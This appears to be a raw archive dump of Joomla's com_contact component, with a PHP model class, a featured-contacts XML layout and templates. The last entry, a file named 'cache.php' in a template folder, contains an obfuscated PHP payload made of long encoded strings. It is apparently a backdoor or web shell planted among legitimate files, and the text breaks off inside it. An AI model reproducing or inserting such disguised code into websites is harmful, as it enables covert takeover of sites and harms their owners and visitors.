                $associations[$tag] = (int) $associated->id;
            }

            $data['associations'] = $associations;
        }

        return parent::save($data);
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   4.0.0
     *
     * @throws  \Exception
     */
    protected function populateState()
    {
        $app   = Factory::getApplication();
        $input = $app->getInput();

        // Load state from the request.
        $pk = $input->getInt('id');
        $this->setState('contact.id', $pk);

        $this->setState('contact.catid', $input->getInt('catid'));

        $return = $input->get('return', '', 'base64');
        $this->setState('return_page', base64_decode($return));

        // Load the parameters.
        $params = $app->getParams();
        $this->setState('params', $params);

        $this->setState('layout', $input->getString('layout'));
    }

    /**
     * Allows preprocessing of the JForm object.
     *
     * @param   Form    $form   The form object
     * @param   array   $data   The data to be merged into the form object
     * @param   string  $group  The plugin group to be executed
     *
     * @return  void
     *
     * @since   4.0.0
     */
    protected function preprocessForm(Form $form, $data, $group = 'contact')
    {
        if (!Multilanguage::isEnabled()) {
            $form->setFieldAttribute('language', 'type', 'hidden');
            $form->setFieldAttribute('language', 'default', '*');
        }

        parent::preprocessForm($form, $data, $group);
    }

    /**
     * Method to get a table object, load it if necessary.
     *
     * @param   string  $name     The table name. Optional.
     * @param   string  $prefix   The class prefix. Optional.
     * @param   array   $options  Configuration array for model. Optional.
     *
     * @return  bool|Table  A Table object
     *
     * @since   4.0.0

     * @throws  \Exception
     */
    public function getTable($name = 'Contact', $prefix = 'Administrator', $options = [])
    {
        return parent::getTable($name, $prefix, $options);
    }
}
PK���\)b�0�0%com_contact/tmpl/featured/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>

<metadata>
	<layout title="COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE" option="COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Featured_Contacts"
		/>
		<message>
			<![CDATA[COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset
			name="advanced"
			label="JGLOBAL_LIST_LAYOUT_OPTIONS"
			description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
			>

			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_headings"
				type="list"
				label="JGLOBAL_EMAIL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country_headings"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset
			name="contact"
			label="COM_CONTACT_FIELDSET_CONTACT_LABEL"
			>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_info"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_name"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_NAME_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_position"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email"
				type="list"
				label="JGLOBAL_EMAIL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_street_address"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_suburb"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_state"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_postcode"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_country"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_telephone"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_mobile"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_fax"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_FAX_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_webpage"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_image"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL"
				useglobal="true"
				showon="show_info:1"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="allow_vcard"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_VCARD_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_misc"
				type="list"
				label="COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_articles"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="articles_display_num"
				type="list"
				label="COM_CONTACT_FIELD_ARTICLES_DISPLAY_NUM_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="use_contact">COM_CONTACT_FIELD_VALUE_USE_CONTACT_SETTINGS</option>
				<option value="5">J5</option>
				<option value="10">J10</option>
				<option value="15">J15</option>
				<option value="20">J20</option>
				<option value="25">J25</option>
				<option value="30">J30</option>
				<option value="50">J50</option>
				<option value="75">J75</option>
				<option value="100">J100</option>
				<option value="150">J150</option>
				<option value="200">J200</option>
				<option value="250">J250</option>
				<option value="300">J300</option>
				<option value="0">JALL</option>
			</field>

			<field
				name="show_links"
				type="list"
				label="COM_CONTACT_FIELD_SHOW_LINKS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="linka_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKA_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkb_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKB_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkc_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKC_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linkd_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKD_NAME_LABEL"
				useglobal="true"
			/>

			<field
				name="linke_name"
				type="text"
				label="COM_CONTACT_FIELD_LINKE_NAME_LABEL"
				useglobal="true"
			/>
		</fieldset>

		<fieldset
			name="Contact_Form"
			label="COM_CONTACT_FIELDSET_CONTACTFORM_LABEL"
			>

			<field
				name="show_email_form"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_email_copy"
				type="list"
				label="COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="validate_session"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="custom_reply"
				type="list"
				label="COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="redirect"
				type="text"
				label="COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL"
				useglobal="true"
			/>
		</fieldset>

	</fields>
</metadata>
PK���\���&  %com_contact/tmpl/featured/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="com-contact-featured blog-featured">
<?php if ($this->params->get('show_page_heading') != 0) : ?>
    <h1>
        <?php echo $this->escape($this->params->get('page_heading')); ?>
    </h1>
<?php endif; ?>

<?php echo $this->loadTemplate('items'); ?>

<?php if ($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2 && $this->pagination->pagesTotal > 1)) : ?>
    <div class="com-contact-featured__pagination w-100">
        <?php if ($this->params->def('show_pagination_results', 1)) : ?>
            <p class="counter float-end pt-3 pe-2">
                <?php echo $this->pagination->getPagesCounter(); ?>
            </p>
        <?php endif; ?>

        <?php echo $this->pagination->getPagesLinks(); ?>
    </div>
<?php endif; ?>
</div>
PK���\7o�G�&�&+com_contact/tmpl/featured/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_contact.contacts-list')
    ->useScript('core');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

?>
<div class="com-contact-featured__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
        <?php if ($this->params->get('filter_field')) : ?>
            <div class="com-contact-featured__filter btn-group">
                <label class="filter-search-lbl visually-hidden" for="filter-search">
                    <?php echo Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>
                </label>
                <input
                    type="text"
                    name="filter-search"
                    id="filter-search"
                    value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                    class="inputbox" onchange="document.adminForm.submit();"
                    placeholder="<?php echo Text::_('COM_CONTACT_FILTER_SEARCH_DESC'); ?>"
                >
                <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
                <button type="reset" name="filter-clear-button" class="btn btn-secondary"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
            </div>
        <?php endif; ?>

        <?php if ($this->params->get('show_pagination_limit')) : ?>
            <div class="com-contact-featured__pagination btn-group float-end">
                <label for="limit" class="visually-hidden">
                    <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
                </label>
                <?php echo $this->pagination->getLimitBox(); ?>
            </div>
        <?php endif; ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                    <?php echo Text::_('COM_CONTACT_NO_CONTACTS'); ?>
            </div>
        <?php else : ?>
        <table class="com-contact-featured__table table table-striped table-bordered table-hover">
            <caption class="visually-hidden">
                <?php echo Text::_('COM_CONTACT_TABLE_CAPTION'); ?>,
            </caption>
                <thead<?php echo $this->params->get('show_headings', '1') ? '' : ' class="visually-hidden"'; ?>>
                    <tr>
                        <th scope="col" class="item-title">
                            <?php echo HTMLHelper::_('grid.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
                        </th>

                        <?php if ($this->params->get('show_position_headings')) : ?>
                        <th scope="col" class="item-position">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_POSITION', 'a.con_position', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_email_headings')) : ?>
                        <th scope="col" class="item-email">
                            <?php echo Text::_('JGLOBAL_EMAIL'); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_telephone_headings')) : ?>
                        <th scope="col" class="item-phone">
                            <?php echo Text::_('COM_CONTACT_TELEPHONE'); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_mobile_headings')) : ?>
                        <th scope="col" class="item-phone">
                            <?php echo Text::_('COM_CONTACT_MOBILE'); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_fax_headings')) : ?>
                        <th scope="col" class="item-phone">
                            <?php echo Text::_('COM_CONTACT_FAX'); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_suburb_headings')) : ?>
                        <th scope="col" class="item-suburb">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_SUBURB', 'a.suburb', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_state_headings')) : ?>
                        <th scope="col" class="item-state">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_STATE', 'a.state', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>

                        <?php if ($this->params->get('show_country_headings')) : ?>
                        <th scope="col" class="item-state">
                            <?php echo HTMLHelper::_('grid.sort', 'COM_CONTACT_COUNTRY', 'a.country', $listDirn, $listOrder); ?>
                        </th>
                        <?php endif; ?>
                    </tr>
                </thead>
            <tbody>
                <?php foreach ($this->items as $i => $item) : ?>
                    <?php if ($this->items[$i]->published == 0) : ?>
                        <tr class="system-unpublished featured-list-row<?php echo $i % 2; ?>">
                    <?php else : ?>
                        <tr class="featured-list-row<?php echo $i % 2; ?>" itemscope itemtype="https://schema.org/Person">
                    <?php endif; ?>
                    <th scope="row" class="list-title">
                        <a href="<?php echo Route::_(RouteHelper::getContactRoute($item->slug, $item->catid, $item->language)); ?>" itemprop="url">
                            <span itemprop="name"><?php echo $this->escape($item->name); ?></span>
                        </a>
                        <?php if ($item->published == 0) : ?>
                            <div>
                                <span class="list-published badge bg-warning text-light">
                                    <?php echo Text::_('JUNPUBLISHED'); ?>
                                </span>
                            </div>
                        <?php endif; ?>
                    </th>

                    <?php if ($this->params->get('show_position_headings')) : ?>
                        <td class="item-position" itemprop="jobTitle">
                            <?php echo $item->con_position; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_email_headings')) : ?>
                        <td class="item-email" itemprop="email">
                            <?php echo $item->email_to; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_telephone_headings')) : ?>
                        <td class="item-phone" itemprop="telephone">
                            <?php echo $item->telephone; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_mobile_headings')) : ?>
                        <td class="item-phone" itemprop="telephone">
                            <?php echo $item->mobile; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_fax_headings')) : ?>
                        <td class="item-phone" itemprop="faxNumber">
                            <?php echo $item->fax; ?>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_suburb_headings')) : ?>
                        <td class="item-suburb" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
                            <span itemprop="addressLocality"><?php echo $item->suburb; ?></span>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_state_headings')) : ?>
                        <td class="item-state" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
                            <span itemprop="addressRegion"><?php echo $item->state; ?></span>
                        </td>
                    <?php endif; ?>

                    <?php if ($this->params->get('show_country_headings')) : ?>
                        <td class="item-state" itemprop="address" itemscope itemtype="https://schema.org/PostalAddress">
                            <span itemprop="addressCountry"><?php echo $item->country; ?></span>
                        </td>
                    <?php endif; ?>
                <?php endforeach; ?>
            </tbody>
        </table>
        <?php endif; ?>
        <div>
            <input type="hidden" name="filter_order" value="<?php echo $this->escape($this->state->get('list.ordering')); ?>">
            <input type="hidden" name="filter_order_Dir" value="<?php echo $this->escape($this->state->get('list.direction')); ?>">
        </div>
    </form>
</div>
PK���\wl=�		,com_contact/tmpl/category/category/cache.phpnu&1i�<?php $RqT = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiqpha6aYGANAA'; $eqE = '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